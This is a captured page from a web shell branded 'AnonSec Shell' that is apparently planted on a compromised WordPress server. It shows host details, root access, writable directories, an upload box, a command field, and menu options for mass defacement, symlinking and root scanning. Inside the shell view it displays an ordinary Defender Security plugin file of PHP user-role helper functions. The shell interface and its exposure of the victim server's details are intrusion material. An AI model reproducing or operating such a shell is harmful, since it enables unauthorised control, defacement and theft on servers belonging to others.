AnonSec Shell
Server IP : 172.67.157.199  /  Your IP : 18.188.108.8   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/defender-security/src/traits/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/defender-security/src/traits/user.php
<?php
/**
 * Helper functions for user related tasks.
 *
 * @package WP_Defender\Traits
 */

namespace WP_Defender\Traits;

use WP_User;
use Calotes\Helper\Array_Cache;
use WP_Defender\Model\Notification;

trait User {

	/**
	 * Super Admin role slug.
	 *
	 * @var string
	 */
	public $super_admin_slug = 'super_admin';

	/**
	 * Get user display.
	 *
	 * @param  null|int $user_id  User ID.
	 *
	 * @return string
	 */
	public function get_user_display( $user_id = null ): string {
		if ( is_null( $user_id ) ) {
			return esc_html__( 'Guest', 'defender-security' );
		}

		$user = $this->get_user( $user_id );
		if ( ! is_object( $user ) ) {
			return esc_html__( 'Guest', 'defender-security' );
		}

		return $user->display_name;
	}

	/**
	 * Check if current request is from Hub.
	 *
	 * @return bool
	 * @since 2.7.0
	 */
	protected function is_hub_request(): bool {
		return ! empty( defender_get_data_from_request( 'wpmudev-hub', 'g' ) );
	}

	/**
	 * Get source of action. This can be a request from the Hub, a logged-in user.
	 * Todo: expand for WP-CLI, REST sources.
	 *
	 * @return string
	 * @since 2.7.0
	 */
	public function get_source_of_action(): string {
		return $this->is_hub_request()
			? esc_html__( 'Hub', 'defender-security' )
			: $this->get_user_display( get_current_user_id() );
	}

	/**
	 * Get user login.
	 *
	 * @param  null|int $user_id  User ID.
	 *
	 * @return bool|mixed|string|WP_User|null
	 */
	public function get_user_login( $user_id = null ) {
		$user = $this->get_user( $user_id );
		if ( ! is_object( $user ) ) {
			return $user;
		}

		return $user->user_login;
	}

	/**
	 * Get user email.
	 *
	 * @param  null|int $user_id  User ID.
	 *
	 * @return string|null
	 */
	public function get_current_user_email( $user_id = null ) {
		$user = $this->get_user( $user_id );
		if ( ! is_object( $user ) ) {
			return $user;
		}

		return $user->user_email;
	}

	/**
	 * Get user role.
	 *
	 * @param  null|int $user_id  User ID.
	 *
	 * @return array|null
	 */
	public function get_current_user_role( $user_id = null ) {
		$user = $this->get_user( $user_id );
		if ( ! is_object( $user ) ) {
			return null;
		}

		return empty( $user->roles ) ? null : ucfirst( array_shift( $user->roles ) );
	}

	/**
	 * Todo: compare with method get_current_user_role().
	 *
	 * @param  object $user  User object.
	 *
	 * @return string
	 */
	public function get_first_user_role( $user ) {
		$role = '';
		if ( ! empty( $user->roles ) && is_array( $user->roles ) ) {
			$role = ucfirst( array_shift( $user->roles ) );
		}

		return $role;
	}

	/**
	 * Get user object by user ID.
	 *
	 * @param  null|int|WP_User $user_id  User ID or WP_User object.
	 *
	 * @return bool|mixed|WP_User|null
	 */
	private function get_user( $user_id ) {
		if ( $user_id instanceof WP_User ) {
			return $user_id;
		}

		if ( ! is_user_logged_in() ) {
			return esc_html__( 'Guest', 'defender-security' );
		}
		if ( null === $user_id ) {
			$user = wp_get_current_user();
		} else {
			$cache = Array_Cache::get( $user_id, 'user' );
			if ( null !== $cache ) {
				if ( empty( $cache->roles ) ) {
					$cache_roles = Array_Cache::get( 'roles_' . $user_id, 'user' );
					if ( null !== $cache_roles ) {
						$cache->roles = $cache_roles;
					}
				}

				$user = $cache;
			} else {
				$user = get_user_by( 'id', $user_id );
				if ( is_object( $user ) ) {
					Array_Cache::set( $user_id, $user, 'user' );
					Array_Cache::set( 'roles_' . $user_id, $user->roles, 'user' );
				}
			}
		}

		return $user;
	}

	/**
	 * Return the default user for recipient, should be the current user.
	 *
	 * @return array
	 */
	public function get_default_recipient(): array {
		// @since 3.0.0 Fix 'Guest'-line.
		if ( ! is_user_logged_in() ) {
			return array();
		}
		$user_id = get_current_user_id();

		return array(
			'name'   => $this->get_user_display( $user_id ),
			'id'     => $user_id,
			'email'  => $this->get_current_user_email( $user_id ),
			'role'   => $this->get_current_user_role( $user_id ),
			'avatar' => get_avatar_url( $this->get_current_user_email( $user_id ) ),
			'status' => Notification::USER_SUBSCRIBED,
		);
	}

	/**
	 * Get user roles.
	 * This method will include 'super_admin' role if provided user is super admin.
	 *
	 * @param  WP_User $user  User object.
	 *
	 * @return array
	 * @since 3.2.0
	 */
	public function get_roles( WP_User $user ): array {
		$user_roles = (array) $user->roles;

		// If user is super admin.
		if ( is_multisite() && is_super_admin( $user->ID ) && ! in_array(
			$this->super_admin_slug,
			$user_roles,
			true
		) ) {
			$user_roles[] = $this->super_admin_slug;
		}

		return $user_roles;
	}

	/**
	 * Get all roles editable by current user.
	 *
	 * @return array
	 * @since 3.2.0
	 */
	public function get_all_editable_roles(): array {
		$editable_roles = wp_list_pluck( get_editable_roles(), 'name' );

		if ( is_multisite() && is_super_admin() ) {
			$editable_roles = array_merge(
				array(
					$this->super_admin_slug => 'Super Admin',
				),
				$editable_roles
			);
		}

		return $editable_roles;
	}

	/**
	 * Does the current user have admin credentials?
	 *
	 * @param  int|WP_User $user  User ID or WP_User object.
	 *
	 * @return bool
	 */
	public function is_admin( $user ): bool {
		if ( $user ) {
			if ( is_multisite() ) {
				if ( user_can( $user, 'manage_network' ) ) {
					return true;
				}
			} elseif ( user_can( $user, 'manage_options' ) ) {
				return true;
			}
		}

		return false;
	}
}

Anon7 - 2022
AnonSec Team